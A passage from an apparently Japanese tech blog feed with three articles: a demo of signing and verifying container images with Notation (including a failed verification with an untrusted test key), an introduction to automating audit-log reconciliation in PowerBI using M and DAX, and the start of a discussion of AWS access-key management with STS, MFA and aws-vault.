<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation cert generate-test --default <span class="string">&quot;suji-toshi-mashoya&quot;</span></span></span><br><span class="line">generating RSA Key with 2048 bits</span><br><span class="line">generated certificate expiring on 2025-06-14T10:57:29Z</span><br><span class="line">wrote key: /home/mano/.config/notation/localkeys/suji-toshi-mashoya.key</span><br><span class="line">wrote certificate: /home/mano/.config/notation/localkeys/suji-toshi-mashoya.crt</span><br><span class="line">Successfully added suji-toshi-mashoya.crt to named store suji-toshi-mashoya of type ca</span><br><span class="line">suji-toshi-mashoya: added to the key list</span><br><span class="line">suji-toshi-mashoya: mark as default signing ke</span><br></pre></td></tr></table></figure>

<p><code>notation key ls</code> や <code>notation cert ls</code> で署名キーや証明書を確認できます。</p>
<h2 id="イメージに署名">イメージに署名</h2><p>適当なイメージをpullし、ローカル上のZotレジストリにpushします。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">docker pull busybox:1.37.0</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">docker tag busybox:1.37.0 localhost:5000/suji-tootteruyo:1.0</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">docker push localhost:5000/suji-tootteruyo:1.0</span></span><br><span class="line">The push refers to repository [localhost:5000/suji-tootteruyo]</span><br><span class="line">90b9666d4aed: Pushed</span><br><span class="line">1.0: digest: sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d size: 610</span><br><span class="line"></span><br><span class="line">i Info → Not all multiplatform-content is present and only the available single-platform image was pushed</span><br><span class="line">          sha256:f85340bf132ae937d2c2a763b8335c9bab35d6e8293f70f606b9c6178d84f42b -&gt; sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d</span><br></pre></td></tr></table></figure>

<p>続いて、お待ちかねのnotationコマンドです。タグだと上手く見つけることができなかったため、ダイジェスト指定することが必要でした（最近だと、タグは書き換え可能であり、ダイジェストを使う方が良いという話もあるので、深入りはしていません）</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line">    $ notation sign --insecure-registry &quot;localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d&quot;</span><br><span class="line">Successfully signed localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d</span><br><span class="line">Pushed the signature to localhost:5000/suji-tootteruyo@sha256:ef3915777084e9f5fb59fa2b2184d60f452bd374352e2afdb1c20aac637c3304```</span><br></pre></td></tr></table></figure>

<p>以下で紐づきを確認できます。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation <span class="built_in">ls</span> localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d</span></span><br><span class="line">localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d</span><br><span class="line">└── application/vnd.cncf.notary.signature</span><br><span class="line">    └── sha256:f42031db9c3000605abfefa753db67e7928c7a907bbf5160c994d4944919958a</span><br></pre></td></tr></table></figure>

<h2 id="署名の検証">署名の検証</h2><p>信頼ポリシーという、どの署名を信頼するか定義したJSONを作成します。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">cat</span> &lt;&lt;<span class="string">EOF &gt; ./trustpolicy.json</span></span></span><br><span class="line">&#123;</span><br><span class="line">    &quot;version&quot;: &quot;1.0&quot;,</span><br><span class="line">    &quot;trustPolicies&quot;: [</span><br><span class="line">        &#123;</span><br><span class="line">            &quot;name&quot;: &quot;suji&quot;,</span><br><span class="line">            &quot;registryScopes&quot;: [ &quot;localhost:5000/suji-tootteruyo&quot; ],</span><br><span class="line">            &quot;signatureVerification&quot;: &#123;&quot;level&quot; : &quot;strict&quot;&#125;,</span><br><span class="line">            &quot;trustStores&quot;: [ &quot;ca:suji-toshi-mashoya&quot; ],</span><br><span class="line">            &quot;trustedIdentities&quot;: [&quot;*&quot;]</span><br><span class="line">        &#125;</span><br><span class="line">    ]</span><br><span class="line">&#125;</span><br><span class="line">EOF</span><br></pre></td></tr></table></figure>

<p>JSONファイルをインポートします。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation policy import ./trustpolicy.json</span></span><br><span class="line">Successfully imported OCI trust policy configuration to /home/mano/.config/notation/trustpolicy.oci.json.</span><br></pre></td></tr></table></figure>

<p>署名を検証します。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation verify --insecure-registry <span class="string">&quot;localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d&quot;</span></span></span><br><span class="line">Successfully verified signature for localhost:5000/suji-tootteruyo@sha256:7c0ffe5751238c8479f952f3fbc3b719d47bccac0e9bf0a21c77a27cba9ef12d```</span><br></pre></td></tr></table></figure>

<p>無事、成功しました。</p>
<h2 id="署名の検証が正しく失敗するか確かめる">署名の検証が正しく失敗するか確かめる</h2><p>信頼ポリシーに登録されていない、不正な鍵で署名されたイメージがプッシュされた場合に、 <code>notation verify</code> による署名検証が失敗することを確かめます。</p>
<p>まず不正なキーを生成します。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation cert generate-test --default <span class="string">&quot;fade-out&quot;</span></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation key <span class="built_in">ls</span></span></span><br><span class="line">NAME                 KEY PATH                                                       CERTIFICATE PATH                                               ID   PLUGIN NAME</span><br><span class="line">suji-toshi-mashoya   /home/mano/.config/notation/localkeys/suji-toshi-mashoya.key   /home/mano/.config/notation/localkeys/suji-toshi-mashoya.crt</span><br><span class="line">* fade-out           /home/mano/.config/notation/localkeys/fade-out.key             /home/mano/.config/notation/localkeys/fade-out.crt</span><br></pre></td></tr></table></figure>

<p>前回のキーと、今回の攻撃用のキーの2種類存在します。 <code>fade-out</code> が攻撃用のキーです。</p>
<p>新しく別のイメージを準備します。前回利用した1.37.0 ではなく、1.36.0を利用します。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">docker pull busybox:1.36.0</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">docker tag busybox:1.36.0 localhost:5000/suji-tooranaiyo:1.0</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">docker push localhost:5000/suji-tooranaiyo:1.0</span></span><br><span class="line">The push refers to repository [localhost:5000/suji-tooranaiyo]</span><br><span class="line">a58ecd4f0c86: Pushed</span><br><span class="line">1.0: digest: sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0 size: 528</span><br><span class="line"></span><br><span class="line">i Info → Not all multiplatform-content is present and only the available single-platform image was pushed</span><br><span class="line">          sha256:9e2bbca079387d7965c3a9cee6d0c53f4f4e63ff7637877a83c4c05f2a666112 -&gt; sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0</span><br></pre></td></tr></table></figure>

<p>このイメージに対して、攻撃用のキーで署名します。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation sign \</span></span><br><span class="line"><span class="language-bash">  --insecure-registry \</span></span><br><span class="line"><span class="language-bash">  --key fade-out \</span></span><br><span class="line"><span class="language-bash">  <span class="string">&quot;localhost:5000/suji-tooranaiyo@sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0&quot;</span></span></span><br><span class="line">Successfully signed localhost:5000/suji-tooranaiyo@sha256:086417a48026173aaadca4ce43a1e4b385e8e62cc738ba79fc6637049674cac0</span><br><span class="line">Pushed the signature to localhost:5000/suji-tooranaiyo@sha256:49fc8cc2e956660bb8c6ab9cd18618609eb106ae5503855e7b2b3de5138c7ec6</span><br></pre></td></tr></table></figure>

<p>これで、信頼できない署名付きのイメージが作成されましたので、このイメージを検証します。</p>
<figure class="highlight console"><table><tr><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">notation verify --insecure-registry localhost:5000/suji-tooranaiyo@sha256:49fc8cc2e956660bb8c6ab9cd18618609eb106ae5503855e7b2b3de5138c7ec6</span></span><br><span class="line">Error: signature verification failed: artifact &quot;localhost:5000/suji-tooranaiyo@sha256:49fc8cc2e956660bb8c6ab9cd18618609eb106ae5503855e7b2b3de5138c7ec6&quot; has no applicable oci trust policy statement. Trust policy applicability for a given artifact is determined by registryScopes. To create a trust policy, see: https://notaryproject.dev/docs/quickstart/#create-a-trust-policy</span><br></pre></td></tr></table></figure>

<p>想定通り、「署名の検証に失敗しました：アーティファクト localhost:5000&#x2F;suji-tooranaiyo@sha256:… に適用可能な信頼ポリシーのルールが存在しません。」といったエラーがでて、検証が失敗しました。</p>
<h2 id="さいごに">さいごに</h2><p>Notary v2 のCLI実装である、Notationを使ってコンテナイメージの署名と検証をしました。</p>
<p>署名および検証はNotationのコマンドで容易に実行でき少し拍子抜けしました。難しいポイントは鍵の管理かと思いますが、それもNotationの AWS Signerプラグインなどを上手く活用することで、マネージドサービス側に寄せられると運用も楽になるのだろうと推測しています。</p>
<p>Notationの使い方というか、コンテナの指定がタグではなくダイジェストでないと認識しないといったあたりで時間がかかりました。CIなどで自動化しようとすると、シェルスクリプトなどで吸収するかといった手間が必要そうです。</p>
]]></content>
    <summary type="html">CNCFのIncubatingプロジェクトである、Notary v2を用いて、コンテナイメージにデジタル署名してみた記事です。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="CNCF" scheme="https://future-architect.github.io/tags/CNCF/"/>
    <category term="コンテナ" scheme="https://future-architect.github.io/tags/%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A/"/>
  </entry>
  <entry>
    <title>PowerBIによる監査ログ自動化</title>
    <link href="https://future-architect.github.io/articles/20250519b/"/>
    <id>https://future-architect.github.io/articles/20250519b/</id>
    <published>2025-05-18T15:00:01.000Z</published>
    <updated>2025-05-18T15:00:01.000Z</updated>
    <author><name>松本朝香</name></author>
    <content type="html"><![CDATA[<p>春の入門祭り2025の18本目の記事です。</p>
<h2 id="はじめに">はじめに</h2><p>はじまして、CSIG（Cyber Security Innovation Group）の松本です。現在専門ドメインはセキュリティで、データのセマンティックに関心があります♡</p>
<p>今回は、データ分析ソフトウェアとして知られるBIツールについての入門記事です。PowerBI Desktopを活用して、データ取り込み～分析結果の可視化の一連の手順を紹介します。</p>
<p>これからPowerBIを試してみようと考えている方の導入を支援できれば幸いです！</p>
<h2 id="PowerBI-とは">PowerBI とは</h2><p>Power BI（パワービーアイ）は、Microsoft社が提供しているビジネスインテリジェンス（BI）ツールです。企業が持つ様々なデータを収集・分析し、その結果を視覚的に分かりやすいレポートやダッシュボードとして作成することで、迅速な意思決定を支援する目的で作られました。PowerBIには以下3種類のプロダクトがあります。</p>
<ol>
<li><strong>PowerBI Desktop</strong><br>Microsoftが提供するビジネスインテリジェンスツール。データ分析、可視化、レポート作成に特化しており、様々なデータを元にインサイトを導出可能。</li>
<li><strong>PowerBI Service</strong><br>レポートの共有・コラボレーション・スケジュール更新を含むPowerBIの共同利用に関するWebクラウドサービス。</li>
<li><strong>PowerBI Automate</strong><br>Power BIの様々な管理タスクや操作を、手動ではなくPowerBI REST APIやPowerShellコマンドレットを利用して、PowerBIの管理や操作を自動化するためのツール。</li>
</ol>
<p>この記事では、PowerBI Desktopを取り上げます。</p>
<p>具体的には、以下のようなことができます。</p>
<ul>
<li><strong>データの接続と準備</strong><br>Excelファイル、データベース、クラウドサービスなど、様々な場所にあるデータに接続し、分析しやすいように整理・加工する。</li>
<li><strong>データの可視化</strong><br>グラフや表、地図など、多彩なビジュアル表現を使って、データを分かりやすく表示）</li>
<li><strong>レポートとダッシュボードの作成</strong><br>分析結果をまとめたレポートや、複数のグラフを一覧できるダッシュボードを作成し、関係者と共有</li>
<li><strong>インタラクティブな操作</strong><br>作成したレポートやダッシュボードは、フィルターをかけたり、ドリルダウンしたりするなど、対話的に操作しながら深掘り分析が可能</li>
<li><strong>クラウドベースでの共有と共同作業</strong><br>Power BI Serviceを利用することで、作成したレポートやダッシュボードをクラウド上で安全に共有し、チームで共同作業を行うことが可能</li>
<li><strong>モバイル対応</strong><br>スマートフォンやタブレットからもレポートを閲覧できるため、場所を選ばずに最新のデータを確認可能</li>
</ul>
<h2 id="監査ログ自動化について">監査ログ自動化について</h2><h3 id="背景と目的">背景と目的</h3><p>先日、PowerBIを用いて監査ログの一部自動化（実アクセスログデータと使用申請ログデータの突合）を実施し、以下を達成しました。</p>
<ol>
<li>取り込み先対象ファイルや時間軸含めたデータフローの可視化が同一ファイル内で実現できた</li>
<li>属人性の排除に役立った<br>コンサル的な視点から述べると、</li>
<li>実務担当者の工数数日分の短縮を実現し、生産性の向上に役立った</li>
</ol>
<p>完全自動化には別途PowerBI AutomateやRPAなどのオーケストレーション機能をもつツールの使用が必須ですが、今回は入門編ということでPowerBI Desktopのみで実現できる範囲での自動化についてお話しします。</p>
<h3 id="データフロー図-DFD-Data-Flow-Diagram">データフロー図 (DFD: Data Flow Diagram)</h3><p>今回はPCスペックの都合上、➀～➂の分割レポートとして作成しています。クレンジング処理や置換処理は主に➀で行い、突合処理は主に➂で行っております。</p>
<img fetchpriority="high" src="/images/2025/20250519b/0519_システム詳解図.png" alt="0519_システム詳解図.png" width="1343" height="715">

<h3 id="必要なPowerBIの知識">必要なPowerBIの知識</h3><p>Microsoft公式が丁寧なサポートページを提供してくれているため、基本的にこちらを読んでいただければ理解できると思います。</p>
<ul>
<li>Power BI とは? - Power BI | Microsoft Learn</li>
</ul>
<p>気を付けた方がよさそうなところは、MSが “レポート” と称しているものは、各ステップや加工処理が取り込まれた[.pbix]データそのもののことを指している場合と、最終的に出力されるレポートビューもしくはそこからエクスポートされるpdfなどを指している場合があり、文脈依存である点です。</p>
<h3 id="データソースの豊富さ">データソースの豊富さ</h3><p>データソースとして指定できる方法は以下の２タイプです。</p>
<ol>
<li>File</li>
<li>Database</li>
</ol>
<p>DirectQueryを直接使用する際に見るサイトは以下です。</p>
<ul>
<li>Power BI Desktop の DirectQuery - Power BI | Microsoft Learn</li>
</ul>
<p>そして、データソースとして利用できるものは以下になります。</p>
<ul>
<li>Power BI Report Server での Power BI レポート データ ソース - Power BI | Microsoft Learn</li>
</ul>
<p>かなりの数が使えるようになっています。特にsharepointあたりは、企業で導入しているところであればデータ管理にクラウドを別で立てる必要がないため要件次第ではありますが、よい連携になると思います。今回データソースとして取り込んだものは、[.csv] 形式です。</p>
<h3 id="データ分析メイン処理">データ分析メイン処理</h3><p>今回、PowerBIで実装した内容としては「<strong>生データのインポート → クレンジング処理 → 参照&#x2F;置換&#x2F;突合 処理 → ビジュアライゼーション</strong>」という一連のフローです。ここでは、メイン処理 <strong>“参照置換処理” + “参照突合処理”</strong> を掲載します。</p>
<img src="/images/2025/20250519b/参照処理_突合処理.png" alt="参照処理_突合処理" width="1339" height="688" loading="lazy">

<h3 id="使用言語">使用言語</h3><p>PowerBI Desktopで使用する言語は2種類です。</p>
<ul>
<li>M言語: 主に、クレンジング処理などのデータの分析以前の準備に際し使用する言語</li>
<li>DAX関数: 主に、BIツールのメイン処理に相当するデータ分析に際し使用する言語</li>
</ul>
<h4 id="M言語">M言語</h4><p>ノーコードと言われるゆえんはここにあり、M言語で記載される各クエリはGUI上でステップという概念に置き換わり、反対に、GUI上でボタンをぽちぽちしてステップという概念を形作ると自動的にそれに対応するコードが作成され、[詳細エディタ] にM言語として反映される仕組みになっています。どちらかをいじれば、双方に反映され、同期的に動きます。</p>
<p>下記は分割レポート➀の抜粋です。M言語にて置換処理をしている箇所です。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="built_in">let</span></span><br><span class="line">    // --- old-windows フォルダ読み込みと基本加工 ---</span><br><span class="line">    ソース = Folder.Files(<span class="string">&quot;C:\Users\xxxx\Downloads\xxx\old-windows&quot;</span>),</span><br><span class="line"></span><br><span class="line">    ~~~ クレンジング処理（省略） ~~~</span><br><span class="line"></span><br><span class="line">    // ★参照するテーブルBのクエリ名を指定してください</span><br><span class="line">    Source_TableB = T_情シスメンバー一覧,</span><br><span class="line"></span><br><span class="line">    // テーブルA (区切り記号の後の抽出されたテキスト) とテーブルBを account <span class="built_in">id</span> でマージ</span><br><span class="line">    MergedTables = Table.NestedJoin(</span><br><span class="line">        <span class="comment">#&quot;名前が変更された列 2&quot;, // 左側のテーブル (テーブルA)</span></span><br><span class="line">        &#123;<span class="string">&quot;account id&quot;</span>&#125;,     // テーブルAの結合キー列名</span><br><span class="line">        Source_TableB,      // 右側のテーブル (テーブルB)</span><br><span class="line">        &#123;<span class="string">&quot;account id&quot;</span>&#125;,     // テーブルBの結合キー列名</span><br><span class="line">        <span class="string">&quot;MatchedInfo_B&quot;</span>,    // 結合結果を一時的に格納する列名 (任意)</span><br><span class="line">        JoinKind.LeftOuter  // 結合の種類 (テーブルAの全行を残す)</span><br><span class="line">    ),</span><br><span class="line"></span><br><span class="line">    // マージ結果を展開して、テーブルBの user <span class="built_in">id</span> 列を取得</span><br><span class="line">    Expanded_UserId = Table.ExpandTableColumn(</span><br><span class="line">        MergedTables,</span><br><span class="line">        <span class="string">&quot;MatchedInfo_B&quot;</span>,      // 展開する一時列名</span><br><span class="line">        &#123;<span class="string">&quot;user id&quot;</span>&#125;,          // テーブルBから取得したい列名 (今回は <span class="string">&quot;user id&quot;</span>)</span><br><span class="line">        &#123;<span class="string">&quot;取得したUserID&quot;</span>&#125;    // テーブルAに追加される新しい列名 (一時的な名前)</span><br><span class="line">    ),</span><br><span class="line"></span><br><span class="line">    // ★新しく追加した列の名前を <span class="string">&quot;user id&quot;</span> に変更 (後続の処理で参照するため)</span><br><span class="line">    Renamed_UserId_Column = Table.RenameColumns(Expanded_UserId, &#123;&#123;<span class="string">&quot;取得したUserID&quot;</span>, <span class="string">&quot;user id&quot;</span>&#125;&#125;),</span><br><span class="line"></span><br><span class="line">    ~~~ 省略 ~~~</span><br><span class="line"></span><br><span class="line">    変更された型1 = Table.TransformColumnTypes(並べ替えられた列,&#123;&#123;<span class="string">&quot;user id&quot;</span>, <span class="built_in">type</span> text&#125;, &#123;<span class="string">&quot;source file&quot;</span>, <span class="built_in">type</span> text&#125;, &#123;<span class="string">&quot;terminal access program&quot;</span>, <span class="built_in">type</span> text&#125;&#125;)</span><br><span class="line"></span><br><span class="line"><span class="keyword">in</span></span><br><span class="line">    // ★最終的に出力するステップ名を指定</span><br><span class="line">    変更された型1</span><br></pre></td></tr></table></figure>

<h4 id="DAX関数">DAX関数</h4><p>そして次元を1つ引き上げて、データテーブル間を複数またいでデータの分析処理をするために各テーブルからデータを引き出して突合などを行う際にはDAX関数を使用します。</p>
<p>下記は分割サポート➂の抜粋です。突合項目3つを突合して条件に合致したらBooleanで値をテーブルに新規追加させています。返り値を実体としてを内部的に保持させることで、このあとフィルタリングさせることが可能となります。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">True_False_Filtering_Table =</span><br><span class="line">ADDCOLUMNS (</span><br><span class="line">    <span class="string">&#x27;allserver-logs&#x27;</span>,</span><br><span class="line">    <span class="string">&quot;IsMatchingSmartDBLog&quot;</span>, <span class="comment">// 新しい列名 (この監査ログに対応する申請ログがあるか)</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 1. 現在の &#x27;allserver-logs&#x27; の行の値を取得 (計算列の行コンテキスト)</span></span><br><span class="line">    <span class="type">VAR</span> <span class="variable">currentServerLog_UserId</span> <span class="operator">=</span> <span class="string">&#x27;allserver-logs&#x27;</span>[user id]</span><br><span class="line">    <span class="type">VAR</span> <span class="variable">currentServerLog_ServerName</span> <span class="operator">=</span> <span class="string">&#x27;allserver-logs&#x27;</span>[server name]</span><br><span class="line">    <span class="type">VAR</span> <span class="variable">currentServerLog_Timestamp</span> <span class="operator">=</span> <span class="string">&#x27;allserver-logs&#x27;</span>[timestamp]</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 2. 現在の行の値が有効か確認 (元のメジャーの isSingleServerLogRowContext に相当)</span></span><br><span class="line">    <span class="type">VAR</span> <span class="variable">isCurrentRowContextValid</span> <span class="operator">=</span></span><br><span class="line">        NOT <span class="title function_">ISBLANK</span><span class="params">( currentServerLog_UserId )</span> &amp;&amp;</span><br><span class="line">        NOT <span class="title function_">ISBLANK</span><span class="params">( currentServerLog_ServerName )</span> &amp;&amp;</span><br><span class="line">        NOT <span class="title function_">ISBLANK</span><span class="params">( currentServerLog_Timestamp )</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 3. 条件に合致する &#x27;allsmartdb-logs&#x27; (Web申請ログ) の行数をカウント</span></span><br><span class="line">    <span class="type">VAR</span> <span class="variable">MatchingSmartDbLogsCount</span> <span class="operator">=</span></span><br><span class="line">        IF (</span><br><span class="line">            isCurrentRowContextValid, <span class="comment">// 有効な行コンテキストの場合のみカウント</span></span><br><span class="line">            COUNTROWS (</span><br><span class="line">                FILTER (</span><br><span class="line">                    <span class="string">&#x27;allsmartdb-logs&#x27;</span>, <span class="comment">// Web申請ログテーブルを検索対象とする</span></span><br><span class="line">                    <span class="string">&#x27;allsmartdb-logs&#x27;</span>[user id] = currentServerLog_UserId &amp;&amp;</span><br><span class="line">                    <span class="string">&#x27;allsmartdb-logs&#x27;</span>[server name] = currentServerLog_ServerName &amp;&amp;</span><br><span class="line">                    <span class="string">&#x27;allsmartdb-logs&#x27;</span>[timestamp_start] &lt;= currentServerLog_Timestamp &amp;&amp;</span><br><span class="line">                    <span class="string">&#x27;allsmartdb-logs&#x27;</span>[timestamp_end] &gt;= currentServerLog_Timestamp</span><br><span class="line">                )</span><br><span class="line">            ),</span><br><span class="line">            <span class="number">0</span> <span class="comment">// 無効な行コンテキストの場合はカウント0 (結果としてBLANK()につながる)</span></span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 4. 結果を返す</span></span><br><span class="line">    RETURN</span><br><span class="line">        <span class="title function_">IF</span> <span class="params">(</span></span><br><span class="line"><span class="params">            isCurrentRowContextValid, // 有効な行コンテキストの場合のみ TRUE/FALSE を返す</span></span><br><span class="line"><span class="params">            IF ( MatchingSmartDbLogsCount &gt; <span class="number">0</span>, TRUE()</span>, FALSE() ), <span class="comment">// 合致あればTRUE</span></span><br><span class="line">            BLANK () <span class="comment">// 無効な行コンテキストの場合は BLANK() を返す</span></span><br><span class="line">        )</span><br><span class="line">)</span><br></pre></td></tr></table></figure>

<h3 id="ビジュアライゼーション">ビジュアライゼーション</h3><p>実際にPowerBI Desktop上で見られる最終的な画面は下記レポートビューになります。スペック次第ではありますが、こちらの画面はリアルタイムでカスタマイズできるため、今後を見越して閲覧可能性のあるデータをこの出力手前の時点まで過不足なく保持しておくと、のちのち見たいデータを反映させたくなったときにモデル改修が不要になります。</p>
<ul>
<li><strong>上青枠）</strong> データテーブルの右上部から [データのエクスポート] を選択すると、[csv形式] でファイルをエクスポートできます。</li>
<li><strong>下青枠）</strong> 出力されたデータテーブルにの各カラムに対しフィルタリングが可能です。</li>
</ul>
<img src="/images/2025/20250519b/image.png" alt="表形式のレポートをフィルター設定" width="1200" height="315" loading="lazy">

<h3 id="PowerBI-Serviceとの連携">PowerBI Serviceとの連携</h3><p>※今回は連携しない方向になりましたのでこちらを実装していませんが、完全自動実行にあたりトリガーなども自動プッシュしたい際には下記の On-premis Gateway というソフトウェアとの連携が必須となるため紹介だけしておきます。</p>
<ul>
<li>オンプレミスのデータ ゲートウェイ - Power BI | Microsoft Learn</li>
</ul>
<p>オンプレミスサーバとPower BI間のデータ転送をセキュリティで保護するには、On-premis Gatewayが必要です。VPNのような役割を担っていると考えてもらってよいと思います。</p>
<h2 id="さいごに">さいごに</h2><p>PowerBIによる監査ログ自動化に関する取り組みと、その前提となる基礎知識や専門用語についてご紹介しました。</p>
<p>PowerBIは、直感的で使いやすいインターフェースが提供されたBIツールで初心者でもすぐに使いこなすことが可能です。しかし、使いこなす上では “データアーキテクト” の知見が必要だと感じました。初心者においてはデータの構成や構造についてはすでに設計構築が完了している前提で、その後設計書に基づいて組み上げる際に有用なツールではないでしょうか。</p>
<p>今回のような監査ログなど大量のデータを加工したり突合したりという処理を含めると、PowerBI特有のM言語とDAX関数の他、特に実用的な「設計」を行う上では、データアーキテクチャに関する知識は非常に重要であると言えます。知識が浅いと、パフォーマンス問題、メンテナンス性の低下、誤った分析結果などに繋がる可能性があります。</p>
<p>またPowerBIそれ自体は、以下の点からプログラミング初学者が勉強するには有用なソフトウェアだとも感じております。</p>
<ol>
<li>M言語やDAX関数というプログラミング言語を実際に触ることができる<br>命名方法や関数のスコープの切り方を学べる（リーダブルコード的な観点）</li>
<li>CLIとGUIを相互比較しながら挙動を確認できる</li>
<li>常にデータ型を意識する練習になる</li>
<li>データアーキテクト設計能力を養う練習になる<br>PowerBI上でも、大規模データや複雑な変換ロジックを扱う場合、データアーキテクチャの理解がボトルネックの特定やパフォーマンス改善に役立つことがあります。</li>
</ol>
<p>ぜひ今回の記事を参考にしていただきPowerBIの理解やご自身の勉強に役立てていただくきっかけとなれば幸いです :)</p>
]]></content>
    <summary type="html">データ分析ソフトウェアとして知られるBIツールについての入門記事です。PowerBI Desktopを活用して、データ取り込み～分析結果の可視化の一連の手順を紹介します。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="BI" scheme="https://future-architect.github.io/tags/BI/"/>
    <category term="Microsoft" scheme="https://future-architect.github.io/tags/Microsoft/"/>
  </entry>
  <entry>
    <title>AWSアクセスキー管理について考えてみる</title>
    <link href="https://future-architect.github.io/articles/20250408a/"/>
    <id>https://future-architect.github.io/articles/20250408a/</id>
    <published>2025-04-07T15:00:00.000Z</published>
    <updated>2025-04-07T15:00:00.000Z</updated>
    <author><name>神崎林太郎</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2025/20250408a/top.png" alt="" width="900" height="353">

<h2 id="はじめに">はじめに</h2><p>Technology Innovation Groupの神崎です。</p>
<p>社内Slackにてユーザーが利用するAWSアクセスキー管理のベスプラとはなんぞや？という話題が出たことをキッカケにして、改めて自分の理解の棚卸も兼ねて、どういう管理方法をすればいいのかを考えてみました。</p>
<p><del>そもそもAWSアクセスキーを使わないのがベスプラではあるのは間違いないのですが、</del> 顧客へのアカウント引き渡し等がある、フェデレーション先に基盤がある社内環境と繋がっていないなど、様々な理由でアクセスキーを使わざるを得ない場面はあり、そういった場面でどうすべきかを整理しました。</p>
<h2 id="TL-DR">TL;DR</h2><ul>
<li>アクセスキーは、STSトークン(Security Token Serviceトークン)を取得する時のみ利用する</li>
<li>STSトークン取得時は、アクセスキーだけでなく、MFAによる認証を必須とする</li>
<li>アクセスキーやSTSトークンはプレーンテキストで保存せず、暗号化して保存する</li>
</ul>
<p>上記を満たすツールとして、aws-vaultを使う！</p>
<h2 id="頭の体操編">頭の体操編</h2><p>どのようなツールを使えばよいのか？を考える前に、要件めいたものを整理してみたいと思います。</p>
<h3 id="認証情報管理の考え方">認証情報管理の考え方</h3><p>AWSアクセスキーに限らずですが、認証を設計するに当たっては、<strong>認証の強度など、”認証”が”認証”として働くために必要な機能を考える他に、認証情報が漏れてしまった時の被害範囲の最小化と、認証情報を取り扱う際の利便性のバランス</strong>を考える必要があります。</p>
<p>例えば、みなさんも馴染み深い認証連携の仕組みであるSingle Sign-On(SSO)では、ID・パスワードという半永続的な認証情報を直接連携せず、代わりにCookieであったり、トークンであったり（それがXMLだったりJWTだったりはするのですが）を使って一時的な認証情報を作り出してやり取りをします。</p>
<p><strong>一時的な認証情報を利用することで、仮にその認証情報が悪用されたとしても、被害範囲を小さく</strong>できます。それは、トークンの有効期限であったり、相手によって渡すトークンを変えることによって実現されます。これが仮にID・パスワードを直接連携するようなレガシーなシステムであると、そのシステムに侵入されてしまったら最後、その認証情報がアクセスできる範囲すべてへのアクセス権を得ることと同義になってしまいます。</p>
<p>一方、<strong>認証情報を何回も入力することはストレスです</strong>。一時的な認証情報を使うことがセキュリティ上どんなに好ましかったとしても、<strong>毎度毎度認証が要求されるとそれを回避するモチベーションが出てきてしまいます</strong>。そのため、SSOの仕組みでは、IdPがユーザーの認証を代行した後は、システムが自動的に一時的な認証情報を作り出しやり取りし、個別に認証情報を入力する手間が省かれています。</p>
<p>上記のような一時的な認証情報がやり取りできる前提で、半永続的な認証情報を利用する際は本人確認を厳格に行う、具体的には複数の要素を利用した認証をすることがスタンダードになってきています。そうすることで、認証の強度を上げつつも、利便性を損なわないような仕組みが可能となっています。</p>
<h3 id="AWSの世界では？">AWSの世界では？</h3><p>Well-architected Frameworkでは以下のように書かれています。</p>
<p>SEC02-BP02 一時的な認証情報を使用する</p>
<blockquote>
<p>一般的なアンチパターン:<br>開発者が、フェデレーションを使って CLI から一時的な認証情報を取得するのではなく、IAM ユーザーからの長期的なアクセスキーを使用する。</p>
</blockquote>
